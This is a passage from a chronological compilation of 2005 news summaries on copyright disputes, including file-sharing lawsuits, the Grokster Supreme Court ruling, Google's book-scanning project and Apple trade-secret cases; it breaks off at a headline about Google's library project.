French researcher Guillaume Tena is currently on trial in a Paris court for violating copyright laws when he exposed software flaws in an antivirus application called Viguard, developed by Tegam International, a French company. Tena, who is a researcher at Harvard University, faces a prison term and fine, and Tegam has also filed a civil suit against Tena for about \$1.2 million. Although K-OTik, a French computer security organization, conceded that Tena did technically break French copyright law, the group said that a decision against him could set a dangerous precedent for prosecuting individuals for exposing software vulnerabilities. Officials from K-OTik said a ruling against Tena would be "unimaginable and unacceptable in any other field of scientific research." The court's final ruling is expected March 8. CNET, 11 January 2005

Category 4B1 Copyrights

2005-01-14 **Apple Mac Mini Mac iPod Thinksecret.com suit**

NewsScan; <http://online.wsj.com/article/0>

APPLE SUES STUDENT FOR DIVULGING SECRETS

Nicholas Ciarelli launched what has become one of the most influential Apple-focused Web sites when he was 13 as a hangout for fellow Mac enthusiasts, but his penchant for posting trade secrets has gotten the now-19-year-old Harvard student, who publishes online under the name Nick dePlume, in hot water. Apple filed a lawsuit Jan. 4 against ThinkSecret.com and its unnamed tipsters, charging: "Apple is informed and believes that Defendant Nick dePlume is an individual who uses the pseudonym 'Nick dePlume' but whose true name and identity cannot be confirmed at this time." Apple, known for its highly secretive culture, says it believes ThinkSecret obtains its information by illegally soliciting information about unreleased Apple products from individuals who violate their confidentiality agreements. In fact, on Dec. 28 the site correctly predicted Apple's debut of its \$499 Mac Mini and a low-cost iPod. In response to Apple's accusations, Ciarelli replies, "I didn't do anything wrong. My reporting practices are the same that any journalists use. I talk to sources, I confirm details, I follow up on tips and leads that I get." It will be difficult for Apple to prove that Ciarelli's coverage has violated its trade secrets, says an intellectual property attorney, noting that trade secrets usually refer to the formula behind products, not simply the details about their release. (Wall Street Journal 14 Jan 2005)

Category 4B1 Copyrights

2005-01-14 **scholarly republishing Cornell University articles journals Emarald**

EDUPAGE; <http://chronicle.com/prm/weekly/v51/i19/19a03102.htm>

NEW QUESTIONS ARISE OVER SCHOLARLY REPUBLISHING

A librarian at Cornell University has uncovered evidence that academic publisher Emerald has for many years republished articles in its journals without acknowledging previous publication. Philip M. Davis first noticed republished articles dating back to 1989 in online archives maintained by Emerald. Davis then broadened his search to include paper copies of Emerald journals going back to 1979 and said he found many more examples of such republished articles. Davis said some articles were published more than once in the same journal, several years apart, and noted that as a result libraries may have spent money on material they already owned. A spokesperson from Emerald said the company does not have a practice of republishing, though in some cases Emerald officials who thought a particular article especially valuable would republish it "to make it available to another audience." Davis said, "It's clearly unethical to republish materials without attribution."

Category 4B1

Copyrights

2005-01-19

file sharing conviction copyright infringement federal court entertainment civil trading restitution equipment

EDUPAGE; <http://online.wsj.com/article/0,,SB110610434199329863,00.html>

TWO CONVICTED FOR FILE SHARING

Two men have pleaded guilty to criminal copyright infringement charges in federal court. Although entertainment companies have won a number of civil judgments against individuals for file trading, the cases against William Trowbridge and Michael Chicoine mark the first convictions for such activity under federal criminal charges. The two face prison terms of up to five years and fines of as much as \$250,000, as well as restitution and forfeiture of computer equipment used in the crimes. Trowbridge and Chicoine admitted to operating Internet hubs from which others could download software, movies, and other copyrighted material. The two men were part of a group called the Underground Network, an organization of 7,000 users who made computer files available to one another. Investigators reportedly downloaded files from Chicoine valued at \$4,820.66 and files from Trowbridge worth \$20,648.63.

Category 4B1

Copyrights

2005-01-25

broad coalition file trading case organizations entertainment industry Supreme Court illegal file trading networks Grokster Morpheus piracy Justice Department Copyright Office Patent Trademark Office

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7428570>

BROAD COALITION FILES BRIEFS IN FILE-TRADING CASE

A broad group of organizations has filed legal briefs siding with the entertainment industry in its upcoming Supreme Court case over whether P2P services should be held liable for illegal file trading on their networks. Groups including the National Football League and the Christian Coalition of America joined with the U.S. government and 40 states and territories in calling for the court to overturn lower court rulings and find companies such as Grokster and Morpheus liable for P2P music piracy. A brief submitted by the Justice Department, the Copyright Office, and the Patent and Trademark Office said P2P companies have built their businesses on "massive copyright infringement." Adam Eisgrau, executive director of the P2P United trade group, said that a ruling against P2P companies would suppress technological innovation and would punish a technology that simply is not mature. According to Eisgrau, "If the standard for a technology in its relative infancy is whether at that instant it is used more for ill than for good, then we will almost never foster the development of breakthrough technologies." The case will be presented to the Supreme Court in March; a decision is expected in June.

Category 4B1

Copyrights

2005-01-26

MPAA lawsuits illegally copyrighted movie hubs BitTorrent eDonkey DirectConnect networks Parent File Scan

EDUPAGE; http://news.com.com/2100-1030_3-5551903.html

ROUND TWO OF MPAA SUITS

The Motion Picture Association of America (MPAA) has filed a second round of lawsuits against an undisclosed number of U.S. users suspected of illegally trading copyrighted movie files. The group first filed lawsuits against individuals in November, followed by legal action against Web sites that function as file-trading hubs, including BitTorrent, eDonkey, and DirectConnect networks. MPAA Chief Executive Officer Dan Glickman said, "We cannot allow people to steal our motion pictures and other products online, and we will use all the options we have available to encourage people to obey the law." The MPAA also released a software tool called Parent File Scan that identifies file-sharing software on a computer, as well as movie and music files that might be protected by copyright. The software does not differentiate between legal and illegal files, and it does not monitor or block any downloads. Rather, it identifies files of a wide range of formats and leaves decisions about which are legitimate up to users, most of whom presumably will be parents.

Category 4B1 Copyrights

2005-01-28 **court reimburse music industry copyright violations Napster MP3 Web**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4216551.stm>

COURT ORDERS MAN TO REIMBURSE MUSIC INDUSTRY

The Supreme Court of Norway has ordered Frank Allan Bruvik to pay 100,000 kroner (about \$16,000 U.S.) to the country's music industry for copyright violations stemming from a Web site he operated. The Web site that Bruvik set up when he was a student, napster.no, was not associated with Napster but offered links for users to locate MP3 files on the Web. Bruvik's site was only online for about four months in 2001, and it did not host any music files. Nevertheless, a court ruled in 2003 that Bruvik was liable for copyright violations that his site facilitated. An appeals court overturned that ruling, but the Supreme Court has decided against Bruvik. In its ruling, the court said that Bruvik's actions did violate copyright law in that he abetted an illegal act and that his actions were premeditated. The music industry in Norway said it was pleased with the ruling, saying it demonstrates the court will not tolerate copyright violations.

Category 4B1 Copyrights

2005-02-07 **Google copyright volumes libraries scan academic publishers permission**

EDUPAGE; <http://chronicle.com/prm/daily/2005/02/2005020703n.htm>

DOES GOOGLE FACE COPYRIGHT TROUBLES?

Google's recently announced plans to scan millions of volumes in several libraries has some wondering if the project is at risk of running into copyright limitations. Google will scan books that are in the public domain and make those texts available online; the company will also scan copyrighted books and offer short excerpts of a few lines each. Some publishing groups argued that putting even small pieces online will violate copyright and that the company should seek explicit permission from copyright owners. Critics also expressed reservations about copyright determinations for books that might, for example, be in the public domain in one country but not in another. Sally C.L. Morris, chief executive of the Association of Learned and Professional Society Publishers, said that although the sheer number of academic publishers represents a powerful disincentive to obtaining permissions from all of them, "that doesn't mean there's not a legal requirement to do it." For its part, Google insists that its actions are acceptable. Google spokesperson Steve Langdon said, "In every case, Google's presentation of the works to the public will keep authors and publishers in mind and be well within the bounds of copyright law."

Category 4B1 Copyrights

2005-03-11 **Sweden file sharing illegal downloading ISP raid intellectual property rights violation copyright infringement MPAA**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7882727>

SWEDEN RAIDS ISP FOR FILE TRADING

Police in Sweden raided the Stockholm offices of Bahnhof, the country's largest and oldest Internet service provider (ISP), long suspected of facilitating rampant copyright violations. According to John Malcolm of the Motion Picture Association of America (MPAA), which had urged Swedish authorities to carry out such a raid, Bahnhof operated some of the largest and fastest servers in Europe. Of the four servers seized in the raid, one is thought to be the largest pirate server in Europe, according to the MPAA. Malcolm said the raid uncovered evidence not only of organized piracy in Sweden but also of such activity throughout Europe. Equipment seized in the raid reportedly contained 1,800 digital movies, 5,000 software files, and 450,000 audio files. Reuters, 11 March 2005

Category 4B1 Copyrights

2005-03-11 **file sharing illegal downloading UK British ISP BPI identity disclosure intellectual property rights violation copyright infringement**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7877847>

BRITISH ISPS TOLD TO TURN OVER FILE TRADERS

A British court has ruled that ISPs in that country must disclose the identities of alleged copyright violators to the British Phonographic Industry (BPI). The BPI had sought the names of about 30 individuals suspected of uploading significant numbers of songs to file-sharing networks. The court has given the six ISPs named in the suit 14 days to turn over the requested identities, which are known currently only by their IP addresses. The BPI will then contact those individuals and offer to settle the charges against them outside court. The British music industry has recently reached its first round of settlements with alleged copyright infringers, a process that Geoff Taylor, general counsel of the BPI, said showed the organization that "people from all walks of life are engaged in this activity." Reuters, 11 March 2005

<i>Category 4B1</i>	<i>Copyrights</i>
2005-03-12	intellectual property confidentiality instant messaging internet service provider ISP value added network VAN AOL AIM

RISKS; <http://www.aim.com/tos/tos.adp> 23 79

AOL CLAIMS INTELLECTUAL PROPERTY RIGHTS TO AIM CONTENT

Alistair McDonalt wrote:

>AOL has changed their Terms of Service for users of their services....

Users of their services, for example AOL Instant Messenger (AIM) in particular should note the details, including: "by posting Content on an AIM Product, you grant AOL, its parent, affiliates, subsidiaries, assigns, agents and licensees the irrevocable, perpetual, worldwide right to reproduce, display, perform, distribute, adapt and promote this Content in any medium".<

<i>Category 4B1</i>	<i>Copyrights</i>
2005-03-14	Holland Netherlands file sharing illegal downloading warning intellectual property rights violation copyright infringement

EDUPAGE; http://www.usatoday.com/tech/world/2005-03-14-dutch-download_x.htm

DUTCH ISPS ISSUE WARNINGS TO FILE TRADERS

Five Internet service providers (ISPs) in the Netherlands have agreed to send notices from the Brain Institute, the antipiracy arm of the country's entertainment industries, to subscribers suspected of illegally trading copyrighted music, movies, and software. The ISPs did not go so far, however, as agreeing to disclose the identities of those users to entertainment companies. Maaike Scholten, spokesperson for two of the five ISPs, described the move as "a service, a warning to clients that they are doing things that are against the law." In 2003, the Dutch Supreme Court ruled that file-sharing applications are legal, leaving copyright owners the option of pursuing individuals who use such applications for copyright violations, as in the United States. Tim Kuik, director of the Brain Institute, said his organization hopes to reach settlements with illegal file traders but anticipates it will be forced to file civil lawsuits against some. Associated Press, 14 March 2005

<i>Category 4B1</i>	<i>Copyrights</i>
2005-03-16	Microsoft lawsuit Windows XP Office academic discount eBay sale David Zamos intellectual property rights violation

EDUPAGE; <http://chronicle.com/prm/daily/2005/03/2005031606n.htm>

MICROSOFT AND STUDENT SETTLE OVER SOFTWARE RESALE

Microsoft and David Zamos have reached a settlement in their dispute over Zamos's sale on eBay of Microsoft software he purchased while a student at the University of Akron. After Zamos bought Windows XP Pro and Microsoft Office from the university bookstore, he found he was not permitted to return it, though it was unopened. Zamos, who paid about \$50 for both products because of deep educational discounts, decided to sell the software on eBay, where he sold each for about \$100. The sale prompted Microsoft to file a lawsuit alleging that Zamos improperly benefited from academic pricing, in violation of company policies. Zamos argued that such policies were not explained on the packaging, and he countersued the company, alleging that because of Microsoft's actions and policies, obtaining a refund for software is virtually impossible. Although both parties expressed their satisfaction with the resolution, a confidentiality agreement covering the settlement prevents disclosure of any details. A statement from Microsoft did note, however, that the company will "continue its commitment to protecting those intended to benefit from its academic program," suggesting it will continue to look unfavorably on anyone reselling academic purchases. Chronicle of Higher Education, 16 March 2005 (sub. req'd)

Category 4B1 Copyrights

2005-03-18 **John Wiley and Sons publisher lawsuit selling guidebooks online intellectual property rights violation copyright infringement cheating**

EDUPAGE; <http://www.insidehighered.com/news/2005/03/18/cheating>

STUDENTS SUED FOR SELLING GUIDEBOOKS ONLINE

Publisher John Wiley and Sons has filed lawsuits against a number of individuals for selling guidebooks online that include answers to tests and assignments in certain of the company's textbooks. The publisher also said it has reached settlements with about 150 individuals, most of them students, after investigating sales of the guidebooks--which the company does not sell but provides only to professors--on eBay. No faculty have been implicated so far. Those named in the suits did not respond to the publisher when it contacted them about the illicit sales. According to Roy S. Kaufman, legal director of Wiley, illegal copies of the text are still widely available online, despite the company's efforts. "This is a new form of cheating and copyright violation," said Kaufman, "with a Malthusian growth cycle." Inside Higher Ed, 18 March 2005

Category 4B1 Copyrights

2005-03-18 **Agence France Presse AFP lawsuit Google intellectual property rights violation copyright infringement without permission**

EDUPAGE; http://news.com.com/2100-1030_3-5626341.html

AGENCE FRANCE PRESSE TAKES GOOGLE TO COURT

Agence France Presse (AFP) has filed a lawsuit against Google in the U.S. District Court for the District of Columbia, alleging that the search engine gives access to AFP headlines, stories, and photographs without proper permission. AFP does not make its content available free online, instead charging users subscription fees to access it. Officials from AFP said they have notified Google about the alleged copyright violations but that Google "continues in an unabated manner to violate AFP's copyrights." AFP is seeking damages of at least \$17.5 million as well as an injunction forbidding Google from displaying further AFP content. CNET, 18 March 2005

Category 4B1 Copyrights

2005-03-24 **intellectual property rights violation copyright infringement Apple Tiger source code leak lawsuit settlement**

EDUPAGE; http://news.com.com/2100-1047_3-5632119.html

APPLE SETTLES WITH MAN ACCUSED OF LEAKING CODE

Apple Computer has settled a lawsuit against Doug Steigerwald of North Carolina for leaking the company's upcoming Macintosh operating system, called Tiger. As part of the Apple Developer Connection (ADC) program, Steigerwald, a recent graduate of North Carolina State University, had prerelease access to the operating system. The ADC program allows software developers to create products that will operate with a new operating system before it is released to the public, and participants in the program are required to sign a contract that prohibits disclosure of information about Apple products before they are launched. In a statement, Steigerwald admitted distributing prerelease copies of Tiger over the Internet in violation of the ADC contract he signed. Specifics of the settlement were not released, but a statement from Apple said, "While Apple will always protect its innovations, it is not our desire to send students to jail." The statement also expressed the company's satisfaction that Steigerwald took responsibility for his actions. CNET, 24 March 2005

Category 4B1 Copyrights

2005-03-29 **media companies class-action lawsuit freelance writers electronic database inclusion fees**

EDUPAGE; <http://www.wired.com/news/politics/0,1283,67063,00.html>

MEDIA COMPANIES SETTLE WITH FREELANCERS

A settlement has been reached in a class action lawsuit between media companies and freelance writers over stories included in electronic databases. The class action suit was the combination of three separate suits and represented defendants including the American Society of Journalists and Authors, the Authors Guild, the National Writers Union, and almost two dozen freelance writers. Defendants in the suit, including Time, Knight Ridder, Reed Elsevier, and The New York Times Company, agreed to pay between \$10 million and \$18 million for works originally published between August 1977 and December 2002. Under the terms of the settlement, writers who did not sign away electronic publishing rights can apply for payments of as much as \$1,500 for works that have been added to electronic databases. Although many payments will be significantly smaller than that, "some freelancers ... will make six figures under this settlement," according to Jim Morrison, one of the negotiators of the settlement and a past president of the American Society of Journalists and Authors. Wired Magazine, 29 March 2005

Category 4B1

Copyrights

2005-04-07

University of California electronic reserves Fair Use exceeded publishers complaint intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005040701t.htm>

UC ELECTRONIC RESERVES RANKLE PUBLISHERS

A system that handles electronic reserves at the University of California (UC) in San Diego has prompted complaints from publishers that the university has far exceeded the bounds of fair use. With the system, materials that faculty put on reserve are made available electronically, allowing students to access and even print them from outside the university library. The Association of American Publishers objected, saying that electronic access substantially changes the traditional terms of reserve materials and deprives publishers of sales. Publishers have previously won legal challenges to the production of coursepacks, which the courts said do not fall under the terms of fair use. The publishing group insisted the same applies to electronic resources. Representatives of UC disputed the claims, saying the reserve system does not infringe on sales of texts. Jonathan Franklin, associate law librarian at the University of Washington, noted that the fair use law is not clear and commented that if the disagreement is ultimately settled by the courts, such a resolution might provide needed clarification for all concerned. Chronicle of Higher Education, 7 April 2005 (sub. req'd)

Category 4B1

Copyrights

2005-04-12

music piracy peer-to-peer P2P file sharing illegal downloading intellectual property rights violation copyright infringement RIAA IFPI increased lawsuits

EDUPAGE; <http://news.bbc.co.uk/2/hi/entertainment/4436223.stm>

MUSIC INDUSTRY STEPS UP LAWSUITS

Efforts to stem illegal file trading were ratcheted up this week with announcements about new rounds of lawsuits against individuals accused of piracy. The International Federation of the Phonographic Industry said it plans to file 963 lawsuits in 11 countries in Europe and Asia, representing the largest single action against file traders. Meanwhile, the British Phonographic Industry (BPI) said it will file actions against 33 users in the United Kingdom. Previously, the BPI has filed suits against 57 individuals, some of whom have reached settlements with the organization. Geoff Taylor, general counsel of the BPI, said his group has warned users repeatedly that illegal file trading will not be tolerated and that those found guilty will have to pay. BBC, 12 April 2005

Category 4B1

Copyrights

2005-04-13

music movie piracy Internet2 i2hub peer-to-peer P2P file sharing illegal downloading intellectual property rights violation copyright infringement RIAA lawsuit threat

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005041302t.htm>

ENTERTAINMENT INDUSTRY TARGETS INTERNET2 USERS

Organizations representing record companies and movie studios announced this week they will begin filing copyright infringement lawsuits targeting users of i2hub, a file-sharing system that lets users exchange data over Abilene, Internet2's high-speed research network. Because of the network's speed--and a belief among some users that their actions on i2hub could not be detected by the entertainment industry--students on a number of Internet2 campuses have engaged in widespread illegal file trading, according to Cary Sherman, president of the Recording Industry Association of America (RIAA). The RIAA said it will file suits against 405 of what it described as the most egregious violators at 18 campuses. The trade group also sent letters to the presidents of 140 other colleges and universities, indicating what it sees as rampant abuse of the Internet2 network for trading copyrighted songs and movies and asking those institutions to work to limit activities that "violate the law and [their] own Acceptable Use Policies." The Motion Picture Association of America also said it will file similar suits but declined to say how many. Officials from

Internet2 acknowledged that trading unlicensed material over its network violates its policies and those of its member institutions. Greg Wood, spokesperson for Internet2, said the group has been working with member institutions on technologies that support effective and legal uses of the network. Chronicle of Higher Education, 13 April 2005 (sub. req'd)

Category 4B1

Copyrights

2005-04-15

University of Wyoming old tests posting Website intellectual property rights violation copyright infringement university policy violation

EDUPAGE;

<http://www.cnn.com/2005/EDUCATION/04/15/old.tests.website.ap/>

STUDENT FORCED TO TAKE TESTS OFF THE WEB

The University of Wyoming has insisted that a student remove copies of old tests from his Web site. Aaron Narva, a senior at the university, had posted the tests online and initially sold them to other students. Later, Narva gave the tests away for free. Narva said that old tests are a useful study aid, noting that the athletics department as well as sororities and fraternities make copies of tests available to their members. Dane Ciolino, professor of copyright law at Loyola University, said that Narva's comparison fails because by posting the tests online, he is making many more copies available. Ciolino also noted that fair use cannot apply if Narva was charging money for the tests. Narva is charged with violating university policies and will have a hearing at the university later this month. CNN, 15 April 2005

Category 4B1

Copyrights

2005-04-20

file sharing debate Cornell University intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005042001t.htm>

STUDENTS AT CORNELL DEBATE FILE SHARING WITH INDUSTRY

A recent colloquium at Cornell University pitted representatives of the entertainment industry against critics who say the copyright system is too restrictive and stifles innovation. Cary Sherman, president of the Recording Industry Association of America, and Fritz Attaway, executive vice president and general counsel of the Motion Picture Association of America, debated with Fred von Lohmann, lawyer with the Electronic Frontier Foundation, and Siva Vaidyanathan, professor of communications at New York University, in front of a lively audience of about 200 students. Tracy Mitrano, policy adviser to Cornell's Office of Information Technologies, commented that the presence and participation of so many students indicated their earnest concern over legal and ethical issues surrounding file sharing. Though not the direct subject of the debate, Cornell is currently running a pilot program of the legal music-download service Napster, and participants on both sides offered their perspectives. A representative of Napster called the program a success, pointing to the large percentage of students who use the service regularly. On the other hand, von Lohmann said that the service is not a good deal for universities. "It feels free," he said, "but one way or another, you're paying for it." Chronicle of Higher Education, 20 April 2005 (sub. req'd)

Category 4B1

Copyrights

2005-04-20

file sharing illegal downloading BPI UK identity disclosure intellectual property rights violation copyright infringement lawsuit

EDUPAGE; http://www.theregister.com/2005/04/19/bpi_p2p_lawsuits/

BRITISH COURTS ORDER FILE SHARERS TO BE IDENTIFIED

A British judge has ordered five ISPs to disclose the identities of 33 individuals accused by the British Phonographic Industry (BPI) of sharing more than 72,000 music files over the Web. The ruling is the latest win for the BPI in its efforts to combat illegal file sharing. ISPs have previously been forced to reveal the identities of another 57 individuals, all of whom were targeted for copyright violations. A recent study by research group TNS estimated that illegal file sharing cost the music industry more than 650 million pounds over the past two years. TNS also found that nearly 20 percent of people in the United Kingdom between the ages of 12 and 74 download music on the Internet, though the study did not distinguish between legal and illegal downloads. Representatives of the BPI contend that their efforts are working, noting that nearly 85 percent of those who do not currently download music said they would not do so illegally and that 15 percent of those who download illegally said they will begin to pay for music online. The Register, 20 April 2005

Category 4B1

Copyrights

2005-04-28

US intellectual property rights copyright anti-piracy law Family Entertainment and Copyright Act stiffer penalties violations

EDUPAGE; <http://networks.silicon.com/webwatch/0,39024667,39129955,00.htm>

U.S. STRENGTHENS COPYRIGHT LAW

President Bush this week signed into law the Family Entertainment and Copyright Act, which allows for stiffer penalties for copyright violations. Under the law, individuals found guilty of possessing one or more copyrighted movie, music, or software files that have not been released to the public face a fine and prison term of up to three years. The law also criminalizes using a camcorder to record movies in theaters. Copyright holders supported the measure. Dan Glickman of the Motion Picture Association of America thanked Congress for what he called "their strong advocacy for intellectual property rights." Although some consumer groups opposed the law, some observers described it as a relatively minor expansion of existing law. Eric Goldman, professor of copyright law at Marquette University Law School, said he expects the Justice Department to use its new authority responsibly. Silicon.com, 28 April 2005

Category 4B1

Copyrights

2005-05-23

Google book scanning digitize Library Project Association of American University Presses intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/free/2005/05/2005052301t.htm>

GOOGLE UNDER FIRE FOR LIBRARY PROJECT

The Association of American University Presses has become the latest group to voice objections to Google Print for Libraries, a project in which the search engine is scanning some or all of the books in five university and public libraries in the United States and Britain. In a letter to Google, the organization questions the notion that copyright law allows Google to scan copyrighted works into its database, even if only small portions of those texts are available online. Peter Givler, the group's executive director, said that copyright law fundamentally applies to making copies, regardless of what is done with them. The Publishers Association, which represents publishers in England, has also objected to the project, raising many of the same objections as the Association of American University Presses. For its part, Google said it is working with publishers to address their concerns and to make the project beneficial to them as well. Hugh P. Jones, copyright counsel of the Publishers Association, said he has been in contact with Google but that so far the two groups have failed to agree. Chronicle of Higher Education, 23 May 2005

Category 4B1

Copyrights

2005-06-20

Google book scanning digitize Library Project University of Michigan Ann Arbor contract sharing Harvard Stanford New York intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/prm/daily/2005/06/2005062001t.htm>

MICHIGAN SHARES GOOGLE CONTRACT

In an effort to address concerns that have arisen over Google's project to digitize vast numbers of books from several libraries, the University of Michigan at Ann Arbor has made its contract with Google available online. Google has entered into agreements with libraries at Michigan, as well as Stanford University, Harvard University, the University of Oxford, and the New York Public Library, to scan most or all of their books, including those still protected by copyright. Books in the public domain will be made available on the Web; for those under copyright, only short excerpts will be online. Critics have contended that simply making digital copies of copyrighted books is a violation of copyright protections. The contract states that if either party becomes aware of copyright infringement, it will be quickly addressed. The contract also indicates that, aside from compensation for costs of transporting books, the university will receive no money for its participation in the project. John P. Wilkin, associate university librarian at Michigan, said he hopes that by making the university's contract publicly available, critics will see that there is nothing sneaky going on between Google and the library. Chronicle of Higher Education, 20 June 2005 (sub. req'd)

Category 4B1

Copyrights

2005-06-27

**music file sharing intellectual property rights violation copyright infringement
Supreme Court decision precedent peer-to-peer P2P Grokster StreamCast**

EDUPAGE; <http://online.wsj.com/article/0,,SB111927666876564101,00.html>

SUPREME COURT RULES FOR ENTERTAINMENT INDUSTRY

In a long-awaited decision, the U.S. Supreme Court ruled unanimously that providers of file-sharing services can be held liable for copyright infringement that takes place on their networks. The decision overturns a lower-court ruling that companies including Grokster and StreamCast were not liable for such infringement because their P2P services have legitimate, legal uses as well. Citing the Betamax ruling of 1984, which permitted technology to videotape movies and television, the Ninth Circuit found in favor of the file-sharing companies. That decision was appealed to the Supreme Court by entertainment companies, which argued that file-sharing services are built on a model of facilitating infringement and that the companies charged have gone so far as to "enable mechanisms that would prevent the very infringement that sustains their businesses." The Supreme Court agreed, saying, in part, that "one who distributes a device with the object of promoting its use to infringe copyright ... is liable for the resulting acts of infringement by third parties." Wall Street Journal, 27 June 2005 (sub. req'd)

Category 4B1

Copyrights

2005-06-29

**music file sharing intellectual property rights violation copyright infringement
Supreme Court decision precedent peer-to-peer P2P Harvard professor side**

EDUPAGE; <http://chronicle.com/prm/daily/2005/06/2005062902t.htm>

HARVARD PROF CHANGES MIND, SIDES WITH ENTERTAINMENT INDUSTRY

Although he previously filed a brief supporting the defendants in the Grokster case recently decided by the Supreme Court, Harvard Law Professor Charles R. Nesson said he now believes the court decided appropriately in finding for the entertainment industry. Nesson, who specializes in technology law and serves as the faculty codirector of the Berkman Center for Internet and Society, said that during oral arguments in the case, which were held in March, he was convinced that file-sharing businesses that cater to individuals who violate copyright should be held accountable. "It is a good decision," he said, "because it says you can't be a total predator." In his earlier brief, Nesson had highlighted his concern that a ruling in favor of studios would inhibit plans to establish a digital library at the Berkman Center. Because the center is a nonprofit, however, and because the center would take demonstrable steps to limit copyright violations, Nesson said the courts would be unlikely to apply similar standards of liability to the digital library. Chronicle of Higher Education, 29 June 2005 (sub. req'd)

Category 4B1

Copyrights

2005-07-09

**file sharing trading downloading iMesh Sony BMG deal intellectual property rights
violation copyright infringement**

EDUPAGE; http://news.com.com/2100-1027_3-5781196.html

IMESH INKS DEAL WITH SONY BMG

File-trading service iMesh has signed a deal with Sony BMG, one of the four leading U.S. record labels. Following the Supreme Court's recent ruling that exposes file-trading services for the copyright infringement of their users, iMesh announced it would develop a service "sanctioned" by the music industry. iMesh is reportedly also close to a deal with another of the big record labels, Universal Media Group, though iMesh would not comment on that. Similar to Mashboxx, iMesh uses technology that works to identify copyrighted songs so that record labels can claim royalties. In 2003, iMesh settled a copyright-infringement lawsuit with record labels for \$4.1 million. CNET, 9 July 2005

Category 4B1 Copyrights

2005-07-14 **Australian copyright infringement music piracy link lawsuit ISP intellectual property rights violation**

EDUPAGE; http://news.com.com/2100-1030_3-5788344.html

AUSTRALIAN MAN AND ISP FOUND GUILTY OF LINKING TO PIRATED MUSIC

A court in Australia has found Stephen Cooper guilty of copyright infringement, as well as his Internet service provider (ISP) and several of its employees. Although Cooper did not provide copyrighted music files for download, he did create a Web site that directed users to sites that offered pirated music. Record companies had alleged that Cooper conspired with individuals at Comcen, the ISP named in the suit, to use the site to drive traffic to the ISP, thereby increasing opportunities for advertising revenue. The court agreed, marking the first time in Australia that someone has been convicted for the act of linking to pirated material online. The judge in the case has not yet determined damages. After the verdict, Michael Kerin, general manager of Music Industry Piracy Investigations, hailed the ruling as an important victory in the fight against piracy. "The verdict showed that employees of ISPs who engage in piracy can be seen in the eyes of the court as guilty," he said. CNET, 14 July 2005

Category 4B1 Copyrights

2005-07-19 **legal music downloading California universities anti-piracy peer-to-peer P2P intellectual property rights violation copyright infringement**

EDUPAGE;
<http://www.cnn.com/2005/EDUCATION/07/19/campus.downloads.ap/index.html>

LEGAL DOWNLOADS AT CALIFORNIA UNIVERSITIES

Two university systems in California have signed deals with Cdigix Inc. to provide legal downloads of songs and movies as part of their efforts to discourage illegal file trading. The 13 campuses of the University of California system and the 23 campuses of the California State University system are covered by the deal, though each campus must separately decide if it will participate and, if so, how to pay for it. The two systems are also negotiating with other providers of online music and movies, including Sony, Napster, and Mindawn. David Walker, director of advanced technology at the University of California, said, "We're doing this because we do recognize that there is illegal file sharing of intellectual property." The two university systems include approximately 600,000 students across the state. CNN, 19 July 2005

Category 4B1 Copyrights

2005-07-28 **Congress peer-to-peer P2P abuse limit intellectual property rights violation copyright infringement child pornography**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5809223.html

CONGRESS PRESSES P2P TO LIMIT ABUSE

Members of the Senate Commerce Committee took a tough stance in a hearing with members of the P2P community, saying that if developers of P2P technology do not take actions to limit copyright violations and keep pornography out of the hands of minors, Congress will. Sen.

Barbara Boxer (D-Calif.) said, "If you don't move to protect copyright, if you don't move to protect our children, it's not going to sit well." Sen. Ted Stevens (R-Alaska), chair of the committee, said he does not believe suggestions that there is nothing that can be done to control pornography on the Internet. Speaking for P2P interests, Adam Eisgrau, executive director of P2P United, responded that there is no "technological magic bullet" that will address copyright concerns or those regarding children's exposure to inappropriate content. Eisgrau urged Congress to revise copyright law to change the amount of compensation copyright holders can claim from those accused of infringement. He called for those involved "to intelligently and civilly discuss" the possibility of a voluntary licensing system. ZDNet, 28 July 2005

Category 4B1

Copyrights

2005-08-01

peer-to-peer P2P intellectual property rights violation copyright infringement music piracy file sharing downloading lawsuits litigation UK Britain BPI

EDUPAGE; <http://news.bbc.co.uk/2/hi/entertainment/4735821.stm>

BRITISH MUSIC INDUSTRY SUES FILE TRADERS

After reaching settlements with more than 60 alleged illegal file traders, the British Phonographic Industry (BPI) has filed civil charges against five individuals who reportedly refused to settle with the organization, according to Geoff Taylor, BPI general counsel. In March, a British court ruled that Internet service providers must disclose the names of those accused of copyright violations to the BPI. The suit alleges that the five defendants shared a total of nearly 9,000 songs on the Internet. "We will be seeking an injunction and full damages for the losses they have caused," said Taylor, "in addition to the considerable legal costs we are incurring as a result of their illegal activity." Although growing numbers of computer users are taking advantage of legal online music services, the BPI said it will continue efforts to prosecute illegal file traders. BBC, 1 August 2005

Category 4B1

Copyrights

2005-08-07

intellectual property rights copyright Kansas Supreme Court ruling public institutions faculty work ownership revenue sharing

EDUPAGE; <http://insidehighered.com/news/2005/08/08/kansas>

KANSAS SUPREME COURT TO RULE ON OWNERSHIP OF FACULTY WORK

The Kansas Supreme Court will evaluate an appellate court decision giving public institutions in Kansas the right to claim ownership of any faculty work, including books, with no negotiation on terms required. The lower court treated faculty work as "work for hire" under federal copyright law, classifying scholarly work as within the scope of employment of a faculty member. The current policy, designed in 1998, allows faculty to keep their book rights and has a revenue-sharing model for technology copyrights. Should the higher court decide in favor of the board, the policy could be changed at will. The case pits the Kansas Board of Regents against the Kansas National Education Association. Inside Higher Ed, 7 August 2005

Category 4B1

Copyrights

2005-08-12

Google book scanning digitization Library project intellectual property rights violation copyright infringement AAP

EDUPAGE; <http://chronicle.com/free/2005/08/2005081201.htm>

GOOGLE MODIFIES LIBRARY PROJECT

